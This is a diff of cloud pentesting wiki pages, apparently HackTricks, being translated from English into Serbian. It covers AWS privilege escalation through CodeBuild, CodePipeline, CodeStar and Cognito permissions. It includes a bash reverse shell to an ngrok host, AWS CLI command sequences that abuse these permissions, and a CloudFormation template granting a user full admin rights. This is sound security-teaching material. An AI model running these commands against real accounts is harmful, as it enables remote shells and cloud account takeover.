- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
|
||||
```
|
||||
|
||||
**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges.
|
||||
**Uticaj:** Direktno privesc na ulogu koju koristi AWS CodeBuild radnik koja obično ima visoke privilegije.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload
|
||||
> Imajte na umu da se buildspec može očekivati u zip formatu, tako da bi napadač morao da preuzme, raspakuje, izmeni `buildspec.yml` iz root direktorijuma, ponovo zipuje i otpremi
|
||||
|
||||
More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
Više detalja možete pronaći [ovde](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
|
||||
**Potencijalni Uticaj:** Direktno privesc na priložene AWS Codebuild uloge.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## codepipeline
|
||||
|
||||
For more info about codepipeline check:
|
||||
Za više informacija o codepipeline pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
|
||||
@@ -12,13 +12,13 @@ For more info about codepipeline check:
|
||||
|
||||
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
|
||||
|
||||
When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them.
|
||||
Kada kreirate code pipeline, možete naznačiti **codepipeline IAM ulogu koju treba pokrenuti**, stoga ih možete kompromitovati.
|
||||
|
||||
Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...)
|
||||
Pored prethodnih dozvola, biće vam potrebna **pristupna prava na mesto gde je kod smešten** (S3, ECR, github, bitbucket...)
|
||||
|
||||
I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
|
||||
Testirao sam ovo radeći proces na veb stranici, prethodno navedene dozvole nisu List/Get one potrebne za kreiranje codepipeline, ali za kreiranje na vebu će vam takođe biti potrebne: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<several>`
|
||||
|
||||
During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise:
|
||||
Tokom **kreiranja build projekta** možete naznačiti **komandu za izvršavanje** (rev shell?) i pokrenuti fazu izgradnje kao **privilegovan korisnik**, to je konfiguracija koju napadač treba da kompromituje:
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -26,16 +26,12 @@ During the **creation of the build project** you can indicate a **command to run
|
||||
|
||||
### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
|
||||
|
||||
It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions.
|
||||
Možda će biti moguće izmeniti ulogu koja se koristi i komandu koja se izvršava na codepipeline sa prethodnim dozvolama.
|
||||
|
||||
### `codepipeline:pollforjobs`
|
||||
|
||||
[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
|
||||
[AWS pominje](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
|
||||
|
||||
> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**.
|
||||
> Kada se ovaj API pozove, CodePipeline **vraća privremene akreditive za S3 bucket** koji se koristi za skladištenje artefakata za pipeline, ako akcija zahteva pristup tom S3 bucketu za ulazne ili izlazne artefakte. Ovaj API takođe **vraća sve tajne vrednosti definisane za akciju**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Codestar
|
||||
|
||||
You can find more information about codestar in:
|
||||
Možete pronaći više informacija o codestar-u u:
|
||||
|
||||
{{#ref}}
|
||||
codestar-createproject-codestar-associateteammember.md
|
||||
@@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md
|
||||
|
||||
### `iam:PassRole`, `codestar:CreateProject`
|
||||
|
||||
With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page:
|
||||
Sa ovim dozvolama možete **zloupotrebiti codestar IAM ulogu** da izvršite **arbitrarne radnje** putem **cloudformation šablona**. Proverite sledeću stranicu:
|
||||
|
||||
{{#ref}}
|
||||
iam-passrole-codestar-createproject.md
|
||||
@@ -20,14 +20,13 @@ iam-passrole-codestar-createproject.md
|
||||
|
||||
### `codestar:CreateProject`, `codestar:AssociateTeamMember`
|
||||
|
||||
This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**.
|
||||
|
||||
Ova tehnika koristi `codestar:CreateProject` za kreiranje codestar projekta, i `codestar:AssociateTeamMember` da učini IAM korisnika **vlasnikom** novog CodeStar **projekta**, što će im omogućiti **novu politiku sa nekoliko dodatnih dozvola**.
|
||||
```bash
|
||||
PROJECT_NAME="supercodestar"
|
||||
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
|
||||
--name $PROJECT_NAME \
|
||||
--id $PROJECT_NAME
|
||||
--name $PROJECT_NAME \
|
||||
--id $PROJECT_NAME
|
||||
|
||||
echo "Waiting 1min to start the project"
|
||||
sleep 60
|
||||
@@ -35,15 +34,14 @@ sleep 60
|
||||
USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')
|
||||
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
|
||||
--project-id $PROJECT_NAME \
|
||||
--user-arn "$USER_ARN" \
|
||||
--project-role "Owner" \
|
||||
--remote-access-allowed
|
||||
--project-id $PROJECT_NAME \
|
||||
--user-arn "$USER_ARN" \
|
||||
--project-role "Owner" \
|
||||
--remote-access-allowed
|
||||
```
|
||||
Ako ste već **član projekta**, možete koristiti dozvolu **`codestar:UpdateTeamMember`** da **ažurirate svoju ulogu** na vlasnika umesto `codestar:AssociateTeamMember`.
|
||||
|
||||
If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember`
|
||||
|
||||
**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in:
|
||||
**Potencijalni uticaj:** Privesc na generisanu codestar politiku. Primer te politike možete pronaći u:
|
||||
|
||||
{{#ref}}
|
||||
codestar-createproject-codestar-associateteammember.md
|
||||
@@ -51,27 +49,23 @@ codestar-createproject-codestar-associateteammember.md
|
||||
|
||||
### `codestar:CreateProjectFromTemplate`
|
||||
|
||||
1. **Create a New Project:**
|
||||
- Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project.
|
||||
- Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**.
|
||||
- This access specifically targets a stack associated with the `CodeStarWorker-<generic project name>-CloudFormation` IAM role.
|
||||
2. **Update the Target Stack:**
|
||||
- With the granted CloudFormation permissions, proceed to update the specified stack.
|
||||
- The stack's name will typically conform to one of two patterns:
|
||||
- `awscodestar-<generic project name>-infrastructure`
|
||||
- `awscodestar-<generic project name>-lambda`
|
||||
- The exact name depends on the chosen template (referencing the example exploit script).
|
||||
3. **Access and Permissions:**
|
||||
- Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack.
|
||||
- Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further.
|
||||
1. **Kreirajte novi projekat:**
|
||||
- Iskoristite akciju **`codestar:CreateProjectFromTemplate`** da započnete kreiranje novog projekta.
|
||||
- Nakon uspešnog kreiranja, pristup se automatski dodeljuje za **`cloudformation:UpdateStack`**.
|
||||
- Ovaj pristup se posebno odnosi na stog povezan sa `CodeStarWorker-<generic project name>-CloudFormation` IAM ulogom.
|
||||
2. **Ažurirajte ciljni stog:**
|
||||
- Sa dodeljenim CloudFormation dozvolama, nastavite da ažurirate određeni stog.
|
||||
- Ime stoga će obično odgovarati jednom od dva obrasca:
|
||||
- `awscodestar-<generic project name>-infrastructure`
|
||||
- `awscodestar-<generic project name>-lambda`
|
||||
- Tačno ime zavisi od odabranog šablona (referišući se na primer skripte za eksploataciju).
|
||||
3. **Pristup i dozvole:**
|
||||
- Nakon ažuriranja, dobijate mogućnosti dodeljene **CloudFormation IAM ulozi** povezanoj sa stogom.
|
||||
- Napomena: Ovo ne pruža inherentno pune administratorske privilegije. Dodatni pogrešno konfigurisani resursi unutar okruženja mogu biti potrebni za dalju eskalaciju privilegija.
|
||||
|
||||
For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
|
||||
You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
|
||||
Za više informacija proverite originalno istraživanje: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
|
||||
Eksploataciju možete pronaći na [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
|
||||
|
||||
**Potential Impact:** Privesc to cloudformation IAM role.
|
||||
**Potencijalni uticaj:** Privesc na cloudformation IAM ulogu.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,84 +2,78 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
This is the created policy the user can privesc to (the project name was `supercodestar`):
|
||||
|
||||
Ovo je kreirana politika kojoj korisnik može da eskalira privilegije (ime projekta je `supercodestar`):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "1",
|
||||
"Effect": "Allow",
|
||||
"Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"],
|
||||
"Resource": [
|
||||
"arn:aws:codestar:eu-west-1:947247140022:project/supercodestar",
|
||||
"arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent",
|
||||
"arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner"
|
||||
]
|
||||
},
|
||||
{
|
||||
"Sid": "2",
|
||||
"Effect": "Allow",
|
||||
"Action": [
|
||||
"codestar:DescribeUserProfile",
|
||||
"codestar:ListProjects",
|
||||
"codestar:ListUserProfiles",
|
||||
"codestar:VerifyServiceRole",
|
||||
"cloud9:DescribeEnvironment*",
|
||||
"cloud9:ValidateEnvironmentName",
|
||||
"cloudwatch:DescribeAlarms",
|
||||
"cloudwatch:GetMetricStatistics",
|
||||
"cloudwatch:ListMetrics",
|
||||
"codedeploy:BatchGet*",
|
||||
"codedeploy:List*",
|
||||
"codestar-connections:UseConnection",
|
||||
"ec2:DescribeInstanceTypeOfferings",
|
||||
"ec2:DescribeInternetGateways",
|
||||
"ec2:DescribeNatGateways",
|
||||
"ec2:DescribeRouteTables",
|
||||
"ec2:DescribeSecurityGroups",
|
||||
"ec2:DescribeSubnets",
|
||||
"ec2:DescribeVpcs",
|
||||
"events:ListRuleNamesByTarget",
|
||||
"iam:GetAccountSummary",
|
||||
"iam:GetUser",
|
||||
"iam:ListAccountAliases",
|
||||
"iam:ListRoles",
|
||||
"iam:ListUsers",
|
||||
"lambda:List*",
|
||||
"sns:List*"
|
||||
],
|
||||
"Resource": ["*"]
|
||||
},
|
||||
{
|
||||
"Sid": "3",
|
||||
"Effect": "Allow",
|
||||
"Action": [
|
||||
"codestar:*UserProfile",
|
||||
"iam:GenerateCredentialReport",
|
||||
"iam:GenerateServiceLastAccessedDetails",
|
||||
"iam:CreateAccessKey",
|
||||
"iam:UpdateAccessKey",
|
||||
"iam:DeleteAccessKey",
|
||||
"iam:UpdateSSHPublicKey",
|
||||
"iam:UploadSSHPublicKey",
|
||||
"iam:DeleteSSHPublicKey",
|
||||
"iam:CreateServiceSpecificCredential",
|
||||
"iam:UpdateServiceSpecificCredential",
|
||||
"iam:DeleteServiceSpecificCredential",
|
||||
"iam:ResetServiceSpecificCredential",
|
||||
"iam:Get*",
|
||||
"iam:List*"
|
||||
],
|
||||
"Resource": ["arn:aws:iam::947247140022:user/${aws:username}"]
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "1",
|
||||
"Effect": "Allow",
|
||||
"Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"],
|
||||
"Resource": [
|
||||
"arn:aws:codestar:eu-west-1:947247140022:project/supercodestar",
|
||||
"arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent",
|
||||
"arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner"
|
||||
]
|
||||
},
|
||||
{
|
||||
"Sid": "2",
|
||||
"Effect": "Allow",
|
||||
"Action": [
|
||||
"codestar:DescribeUserProfile",
|
||||
"codestar:ListProjects",
|
||||
"codestar:ListUserProfiles",
|
||||
"codestar:VerifyServiceRole",
|
||||
"cloud9:DescribeEnvironment*",
|
||||
"cloud9:ValidateEnvironmentName",
|
||||
"cloudwatch:DescribeAlarms",
|
||||
"cloudwatch:GetMetricStatistics",
|
||||
"cloudwatch:ListMetrics",
|
||||
"codedeploy:BatchGet*",
|
||||
"codedeploy:List*",
|
||||
"codestar-connections:UseConnection",
|
||||
"ec2:DescribeInstanceTypeOfferings",
|
||||
"ec2:DescribeInternetGateways",
|
||||
"ec2:DescribeNatGateways",
|
||||
"ec2:DescribeRouteTables",
|
||||
"ec2:DescribeSecurityGroups",
|
||||
"ec2:DescribeSubnets",
|
||||
"ec2:DescribeVpcs",
|
||||
"events:ListRuleNamesByTarget",
|
||||
"iam:GetAccountSummary",
|
||||
"iam:GetUser",
|
||||
"iam:ListAccountAliases",
|
||||
"iam:ListRoles",
|
||||
"iam:ListUsers",
|
||||
"lambda:List*",
|
||||
"sns:List*"
|
||||
],
|
||||
"Resource": ["*"]
|
||||
},
|
||||
{
|
||||
"Sid": "3",
|
||||
"Effect": "Allow",
|
||||
"Action": [
|
||||
"codestar:*UserProfile",
|
||||
"iam:GenerateCredentialReport",
|
||||
"iam:GenerateServiceLastAccessedDetails",
|
||||
"iam:CreateAccessKey",
|
||||
"iam:UpdateAccessKey",
|
||||
"iam:DeleteAccessKey",
|
||||
"iam:UpdateSSHPublicKey",
|
||||
"iam:UploadSSHPublicKey",
|
||||
"iam:DeleteSSHPublicKey",
|
||||
"iam:CreateServiceSpecificCredential",
|
||||
"iam:UpdateServiceSpecificCredential",
|
||||
"iam:DeleteServiceSpecificCredential",
|
||||
"iam:ResetServiceSpecificCredential",
|
||||
"iam:Get*",
|
||||
"iam:List*"
|
||||
],
|
||||
"Resource": ["arn:aws:iam::947247140022:user/${aws:username}"]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,42 +2,39 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**.
|
||||
|
||||
To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**:
|
||||
Sa ovim dozvolama možete **zloupotrebiti codestar IAM ulogu** da izvršite **arbitrarne radnje** putem **cloudformation šablona**.
|
||||
|
||||
Da biste to iskoristili, potrebno je da kreirate **S3 bucket koji je dostupan** iz napadnutog naloga. Učitajte datoteku pod nazivom `toolchain.json`. Ova datoteka treba da sadrži **cloudformation šablon za eksploataciju**. Sledeći može biti korišćen za postavljanje upravljane politike korisniku pod vašom kontrolom i **dodeljivanje admin dozvola**:
|
||||
```json:toolchain.json
|
||||
{
|
||||
"Resources": {
|
||||
"supercodestar": {
|
||||
"Type": "AWS::IAM::ManagedPolicy",
|
||||
"Properties": {
|
||||
"ManagedPolicyName": "CodeStar_supercodestar",
|
||||
"PolicyDocument": {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
},
|
||||
"Users": ["<compromised username>"]
|
||||
}
|
||||
}
|
||||
}
|
||||
"Resources": {
|
||||
"supercodestar": {
|
||||
"Type": "AWS::IAM::ManagedPolicy",
|
||||
"Properties": {
|
||||
"ManagedPolicyName": "CodeStar_supercodestar",
|
||||
"PolicyDocument": {
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
},
|
||||
"Users": ["<compromised username>"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Also **upload** this `empty zip` file to the **bucket**:
|
||||
Takođe **otpremite** ovu `praznu zip` datoteku u **bucket**:
|
||||
|
||||
{% file src="../../../../images/empty.zip" %}
|
||||
|
||||
Remember that the **bucket with both files must be accessible by the victim account**.
|
||||
|
||||
With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project:
|
||||
Zapamtite da **bucket sa obe datoteke mora biti dostupan od strane naloga žrtve**.
|
||||
|
||||
Sa obe stvari otpremljene, sada možete nastaviti sa **eksploatacijom** kreiranjem **codestar** projekta:
|
||||
```bash
|
||||
PROJECT_NAME="supercodestar"
|
||||
|
||||
@@ -45,19 +42,19 @@ PROJECT_NAME="supercodestar"
|
||||
## In this JSON the bucket and key (path) to the empry.zip file is used
|
||||
SOURCE_CODE_PATH="/tmp/surce_code.json"
|
||||
SOURCE_CODE="[
|
||||
{
|
||||
\"source\": {
|
||||
\"s3\": {
|
||||
\"bucketName\": \"privesc\",
|
||||
\"bucketKey\": \"empty.zip\"
|
||||
}
|
||||
},
|
||||
\"destination\": {
|
||||
\"codeCommit\": {
|
||||
\"name\": \"$PROJECT_NAME\"
|
||||
}
|
||||
}
|
||||
}
|
||||
{
|
||||
\"source\": {
|
||||
\"s3\": {
|
||||
\"bucketName\": \"privesc\",
|
||||
\"bucketKey\": \"empty.zip\"
|
||||
}
|
||||
},
|
||||
\"destination\": {
|
||||
\"codeCommit\": {
|
||||
\"name\": \"$PROJECT_NAME\"
|
||||
}
|
||||
}
|
||||
}
|
||||
]"
|
||||
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH
|
||||
|
||||
@@ -65,28 +62,23 @@ printf "$SOURCE_CODE" > $SOURCE_CODE_PATH
|
||||
## In this JSON the bucket and key (path) to the toolchain.json file is used
|
||||
TOOLCHAIN_PATH="/tmp/tool_chain.json"
|
||||
TOOLCHAIN="{
|
||||
\"source\": {
|
||||
\"s3\": {
|
||||
\"bucketName\": \"privesc\",
|
||||
\"bucketKey\": \"toolchain.json\"
|
||||
}
|
||||
},
|
||||
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
|
||||
\"source\": {
|
||||
\"s3\": {
|
||||
\"bucketName\": \"privesc\",
|
||||
\"bucketKey\": \"toolchain.json\"
|
||||
}
|
||||
},
|
||||
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
|
||||
}"
|
||||
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH
|
||||
|
||||
# Create the codestar project that will use the cloudformation epxloit to privesc
|
||||
aws codestar create-project \
|
||||
--name $PROJECT_NAME \
|
||||
--id $PROJECT_NAME \
|
||||
--source-code file://$SOURCE_CODE_PATH \
|
||||
--toolchain file://$TOOLCHAIN_PATH
|
||||
--name $PROJECT_NAME \
|
||||
--id $PROJECT_NAME \
|
||||
--source-code file://$SOURCE_CODE_PATH \
|
||||
--toolchain file://$TOOLCHAIN_PATH
|
||||
```
|
||||
|
||||
This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user.
|
||||
Ova eksploatacija se zasniva na **Pacu eksploataciji ovih privilegija**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Na njemu možete pronaći varijaciju za kreiranje administrativne upravljane politike za ulogu umesto za korisnika.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,28 +4,27 @@
|
||||
|
||||
## Cognito
|
||||
|
||||
For more info about Cognito check:
|
||||
Za više informacija o Cognitu pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Gathering credentials from Identity Pool
|
||||
### Prikupljanje kredencijala iz Identity Pool-a
|
||||
|
||||
As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously).
|
||||
Pošto Cognito može dodeliti **IAM role credentials** i **autentifikovanim** i **neautentifikovanim** **korisnicima**, ako locirate **Identity Pool ID** aplikacije (trebalo bi da bude hardkodiran u njoj) možete dobiti nove kredencijale i tako izvršiti privesc (unutar AWS naloga gde verovatno niste imali nikakve kredencijale ranije).
|
||||
|
||||
For more information [**check this page**](../aws-unauthenticated-enum-access/#cognito).
|
||||
Za više informacija [**proverite ovu stranicu**](../aws-unauthenticated-enum-access/#cognito).
|
||||
|
||||
**Potential Impact:** Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users).
|
||||
**Potencijalni uticaj:** Direktan privesc na usluge ulogu vezanu za neautentifikovane korisnike (i verovatno na onu vezanu za autentifikovane korisnike).
|
||||
|
||||
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
|
||||
|
||||
With this permission you can **grant any cognito role** to the authenticated/unauthenticated users of the cognito app.
|
||||
|
||||
Sa ovom dozvolom možete **dodeliti bilo koju cognito ulogu** autentifikovanim/neautentifikovanim korisnicima cognito aplikacije.
|
||||
```bash
|
||||
aws cognito-identity set-identity-pool-roles \
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
--roles unauthenticated=<role ARN>
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
--roles unauthenticated=<role ARN>
|
||||
|
||||
# Get credentials
|
||||
## Get one ID
|
||||
@@ -33,286 +32,243 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
|
||||
## Get creds for that id
|
||||
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
|
||||
```
|
||||
Ako cognito aplikacija **nema omogućene neautentifikovane korisnike**, možda će vam biti potrebna i dozvola `cognito-identity:UpdateIdentityPool` da je omogućite.
|
||||
|
||||
If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it.
|
||||
|
||||
**Potential Impact:** Direct privesc to any cognito role.
|
||||
**Potencijalni uticaj:** Direktno privesc na bilo koju cognito ulogu.
|
||||
|
||||
### `cognito-identity:update-identity-pool`
|
||||
|
||||
An attacker with this permission could set for example a Cognito User Pool under his control or any other identity provider where he can login as a **way to access this Cognito Identity Pool**. Then, just **login** on that user provider will **allow him to access the configured authenticated role in the Identity Pool**.
|
||||
|
||||
Napadač sa ovom dozvolom mogao bi, na primer, da postavi Cognito User Pool pod njegovom kontrolom ili bilo koji drugi provajder identiteta gde može da se prijavi kao **način za pristup ovoj Cognito Identity Pool**. Tada, samo **prijavljivanje** na tom provajderu korisnika će **omogućiti mu pristup konfigurisanom autentifikovanom ulozi u Identity Pool**.
|
||||
```bash
|
||||
# This example is using a Cognito User Pool as identity provider
|
||||
## but you could use any other identity provider
|
||||
aws cognito-identity update-identity-pool \
|
||||
--identity-pool-id <value> \
|
||||
--identity-pool-name <value> \
|
||||
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
|
||||
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
|
||||
--identity-pool-id <value> \
|
||||
--identity-pool-name <value> \
|
||||
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
|
||||
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
|
||||
|
||||
# Now you need to login to the User Pool you have configured
|
||||
## after having the id token of the login continue with the following commands:
|
||||
|
||||
# In this step you should have already an ID Token
|
||||
aws cognito-identity get-id \
|
||||
--identity-pool-id <id_pool_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
--identity-pool-id <id_pool_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
|
||||
# Get the identity_id from thr previous commnad response
|
||||
aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
```
|
||||
|
||||
It's also possible to **abuse this permission to allow basic auth**:
|
||||
|
||||
Takođe je moguće **zloupotrebiti ovu dozvolu da se omogući osnovna autentifikacija**:
|
||||
```bash
|
||||
aws cognito-identity update-identity-pool \
|
||||
--identity-pool-id <value> \
|
||||
--identity-pool-name <value> \
|
||||
--allow-unauthenticated-identities
|
||||
--allow-classic-flow
|
||||
--identity-pool-id <value> \
|
||||
--identity-pool-name <value> \
|
||||
--allow-unauthenticated-identities
|
||||
--allow-classic-flow
|
||||
```
|
||||
|
||||
**Potential Impact**: Compromise the configured authenticated IAM role inside the identity pool.
|
||||
**Potencijalni uticaj**: Kompromitovanje konfigurisanog autentifikovanog IAM naloga unutar identitetskog bazena.
|
||||
|
||||
### `cognito-idp:AdminAddUserToGroup`
|
||||
|
||||
This permission allows to **add a Cognito user to a Cognito group**, therefore an attacker could abuse this permission to add an user under his control to other groups with **better** privileges or **different IAM roles**:
|
||||
|
||||
Ova dozvola omogućava **dodavanje Cognito korisnika u Cognito grupu**, stoga bi napadač mogao zloupotrebiti ovu dozvolu da doda korisnika pod njegovom kontrolom u druge grupe sa **boljim** privilegijama ili **različitim IAM nalozima**:
|
||||
```bash
|
||||
aws cognito-idp admin-add-user-to-group \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--group-name <value>
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--group-name <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups.
|
||||
**Potencijalni Uticaj:** Privesc na druge Cognito grupe i IAM uloge povezane sa User Pool Grupama.
|
||||
|
||||
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
|
||||
|
||||
An attacker with these permissions could **create/update groups** with **every IAM role that can be used by a compromised Cognito Identity Provider** and make a compromised user part of the group, accessing all those roles:
|
||||
|
||||
Napadač sa ovim dozvolama mogao bi **da kreira/aktualizuje grupe** sa **svakom IAM ulogom koja može biti korišćena od strane kompromitovanog Cognito Identity Providera** i učiniti kompromitovanog korisnika delom grupe, pristupajući svim tim ulogama:
|
||||
```bash
|
||||
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
|
||||
```
|
||||
|
||||
**Potential Impact:** Privesc to other Cognito IAM roles.
|
||||
**Potencijalni uticaj:** Privesc na druge Cognito IAM uloge.
|
||||
|
||||
### `cognito-idp:AdminConfirmSignUp`
|
||||
|
